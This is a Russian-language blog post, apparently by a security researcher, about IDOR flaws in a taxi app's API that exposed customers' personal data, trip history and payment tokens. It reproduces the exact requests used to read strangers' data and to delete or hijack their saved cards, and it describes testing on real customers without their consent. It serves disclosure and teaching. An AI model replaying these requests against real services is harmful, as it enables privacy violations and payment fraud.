Как ездить на такси за чужой счёт — уязвимости на примере одного сервиса

После нахождения уязвимостей в мобайл-банкинге украинского банка (пост) я захотел немного сменить направление и перейти от финансовых сервисов к другим.

На глаза попалась рекламная статья про обновлённое мобильное приложение такси, его я и выбрал своим подопытным.

Здесь инструменты те же: ПК, Fiddler, Android-смартфон – устанавливаем приложение и отслеживаем его запросы.

Я специально не рассматривал запросы и ответы при регистрации или логине (например, не стал проверять возможность перебора пароля), а перешёл к функциям, доступным после регистрации.

Так как у меня не было истории поездок с помощью данного сервиса, а проводить реальную поездку для тестирования мне не хотелось, мне нужны были данные кого-либо ещё из клиентов. Я решил спросить знакомых на наличие аккаунта в сервисе. Среди знакомых нашлись клиенты этого такси, но вызывали они его по-старинке – с помощью звонка.

Тогда я начал искать номера телефонов среди общедоступной в интернете информации – например, на официальном сайте и среди отзывов в соцсетях (зачастую недовольные клиенты, описывая жалобы, вместо отправки компании в личку своих контактов оставляют их в комментариях на всеобщее обозрение). В итоге я нашёл пару телефонов на одном из сайтов по поиску работы. Один из них я подставил в последующие запросы и получил информацию, которая не должна была быть доступна кому-либо извне.



Это были следующие проблемы:

1. Получаем id клиента, его ФИО, телефон, e-mail и город (такси работает в нескольких городах).

Когда приложение загружает профиль, выполняется такой POST-запрос:

https://sometaxi/mobile3/templateAll.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7
Content-Type: application/x-www-form-urlencoded
charset: utf-8
User-Agent: User
Host: sometaxi
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 37

func=loadMyInfo&phone=%2B380671234567
Подставив чужой номер телефона в функцию loadMyInfo&phone, в ответ я получил id клиента, его полное ФИО, телефон, e-mail и город:

[{«id»:14014,»varFirstName»:»Сергей «,»varLastName»:»Николаевич»,»varSurName»:»Иванов «,»varTel»:»+380671234567″,»varTel2″:»»,»varEmail»:»Sergey_ivan@some.mail»,»city»:1,»cityName»:»Киев»}]

2) Информация о платёжных картах клиента

Во втором запросе я смог получить информацию о платёжных картах, добавленных клиентом в личный кабинет:

https://sometaxi/mobile3/ClientCard.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
charset: utf-8
User-Agent: User
Host: sometaxi
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 58

data={«Task»:»GetClientCardsData»,»phone»:»+380671234567″}
Ответ:

{«data»:[{«masked_card»:»512345XXXXXX6789″,»rectoken»:»ccaffe873a0e88caf49bc65bbef2390329″,»card_type»:»MASTERCARD»,»default»:true,»card_name»:»Зарплатная»}]}
Здесь были доступны: усечённый номер карты, какой-то токен, тип карты, установлена ли карта по умолчанию и её название.

3) Получение информации о поездках клиента

Третий запрос — loadHistory — ожидаемо предоставил мне наибольшее и самое важное (как я тогда думал) количество информации:

https://sometaxi/mobile3/templateAll.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
charset: utf-8
User-Agent: User
Host: sometaxi
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 38
func=loadHistory&phone=%2B380671234567
Часть ответа (как и ранее, данные изменены):

{«id»:454875,»From»:»Шолом-Алейхема вул., 1″,»To»:»Кириллівська вул., 13″,»When»:»10-01-2019 15:55″,»WhenDate»:1569942900,»Price»:»160″,»Rate»:0,»preorder»:0,»status»:1,»orderid»:»11174445″,»additionalServices»:»[]»,»classAvto»:2,»callsignid»:6426,»Car»:»Сидоров Олександр Олександрович,Toyota Corolla,Белый,АА 3733 РА»,»city»:1,»cityName»:»Київ»,»distance»:»0.00″}
{«id»:408880,»From»:»Драйзера Теодора вул., 2″,»To»:»Шолом-Алейхема ул., 1″,»When»:»25-12-2018 03:44″,»WhenDate»:1545709440,»Price»:»79″,»Rate»:0,»preorder»:0,»status»:1,»orderid»:»10966503″,»additionalServices»:»[]»,»classAvto»:2,»callsignid»:4545,»Car»:»Петров Костянтин Петрович,Toyota Corolla,Белый,АА 0415 РС»,»city»:null,»cityName»:null,»distance»:»0.00″}
Здесь доступны: Адрес отправления, Адрес назначения, Дата и время поездки, Стоимость, а также Полное ФИО таксиста, тип, цвет и номер его машины.

Итого: с помощью пары запросов, по номеру телефона можно узнать всё про клиента данного сервиса, включая определённые детали личной жизни (например, поездки на Новый год в 2 часа ночи из одного адреса в другой).

Наверняка в приложении были и другие места, где можно было получить иную информацию. Но найденного уже было достаточно, чтобы сообщить об этом разработчикам, что я незамедлительно и сделал на прямые рабочие адреса.

На протяжении месяца мы переписывались, и позже мне выплатили вознаграждение.

И тут этот пост мог бы закончиться, но я решил ещё раз проверить, были ли исправлены все ошибки.

Да, два из трёх запросов уже не отдавали мне чужую информацию, но один всё ещё был валидным.

Платёжные карты добавляются в это приложение так же, как и в любое другое: сначала на специальной странице клиент указывает полный номер, срок действия и CVV карты. Затем идёт прохождение верификации путём списания 1 грн. и подтверждение клиентом такой операции по 3-D Secure/LookUp. Это нормальная практика, полного номера и других платёжных реквизитов карт клиентов в запросах не было.

Но так как я видел, что моя добавленная карта удаляется запросом вида data={«Task»:»DeleteClientCardsData»,«rectoken»:»bc65bbef2390329ccaffe873a0e88caf49″}, то решил проверить: что будет, если указать rectoken другого клиента.

4) Удаление чужой карты по токену

Выполняю запрос с чужим токеном:

https://sometaxi/mobile3/ClientCard.php?PHPSESSID=5n4tim74asve7uefdf3hvd6c3 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
charset: utf-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G925F)
Host: sometaxi
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 86

data={«Task»:»DeleteClientCardsData»,»rectoken»:»ccaffe873a0e88caf49bc65bbef2390329″}
И чужая карта удалилась!

Я дополнительно проверил это с помощью того же запроса №2 — был ли это просто визуальный ответ {«status»:»Success».»err»:»»}, или карта действительно была удалена у клиента.

Карта действительно была удалена.

Тут же я написал второе письмо, извинившись, но, решил экспериментировать дальше, создав себе ещё один аккаунт: если карту по токену можно удалить — возможно, её по тому же токену можно и привязать, и именно привязать к себе?

5) Добавление чужой карты по токену в свой аккаунт

Да, не буду томить — чужую карту можно было привязать к себе. Главное — знать rectoken (а получить его можно благодаря незакрытой проблеме №2).

В POST-запросе можно было указать любые данные — любые первые 6 и последние 4 цифры номера карты, хоть 500000****1111 — карта визуально привязывалась с этими данными, а токен был от другого клиента и валидный.

POST https://sometaxi/mobile3/ClientCard.php?PHPSESSID=5n4tim74asve7uefdf3hvd6c3 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
charset: utf-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G925F)
Host: sometaxi
Connection: Keep-Alive
Accept-Encoding: gzip
Content-Length: 221

data={«Task»:»ClientCardData»,»default»:false,»phone»:»+380991234567″,»masked_card»:»500000XXXXXX1111″,»card_name»:»Test»,»card_type»:»MASTERCARD»,»rectoken»:»4f6d228517f2d45690670aba78013a0408″}
Что это значит: из-за возможности привязки токена к своей учётке я мог бы совершить поездку за чужой счёт без знания полных реквизитов карты и без какой-либо дополнительной её проверки — ведь карта уже была добавлена клиентом и успешно проверена платёжным сервисом.

Объяснение про возможность оплаты с чужой карты:
Для упрощения ввода платежных реквизитов при платежах используется оплата в один клик на базе токенов. Клиент при первой покупке вводит платежные данные, при последующих оплатах клиенту будет достаточно нажать кнопку «оплатить».

Токен — это уникальный номер, который присваивается набору параметров карты в системе. Этот токен можно использовать для безакцептной оплаты без ввода CVV и без 3-D Secure аутентификации.

ДополнительноСоздание токена — это процесс успешной оплаты/блокировки средств на карте клиента с вводом полных реквизитов клиента (номер карты, срок действия, CVV). Создать токен можно следующим образом:

  • Принять платеж (Purchase) — успешная оплата клиентом с вводом полных реквизитов карты. Карте присваивается recToken и передаётся в ответе.
  • Верификация карты/получение токена (Verify) — успешная верификация карты, блокировка средств на карте клиента. Карте присваивается recToken и передаётся в ответе.
  • Списание по токену — проведение операции списания/блокировки средств на карте, без участия клиента, путем передачи от мерчанта токена.

    Пример объяснения взят отсюда.

    Разработчики попросили продемонстрировать возможность переноса токена с их аккаунта на мой и заказа такси — им нужно было убедиться, что списание по токену действительно произойдёт. Конечно же, заказ прошёл, деньги списались (в авто я не садился). Позже мне выплатили ещё немного денег.

    Как видно из данной и предыдущей статей, иногда PHPSESSID, Authorization или SecurityToken недостаточно.

    Если вы разработчик – пожалуйста, следите и за тем, что и кому вы отдаёте при запросах. Если вы тестировщик – ищите и находите, но обязательно сообщайте об этом разработчикам. Уязвимостей полно там и тут, поэтому, пожалуйста, будьте белым хакером.

    Оставить комментарий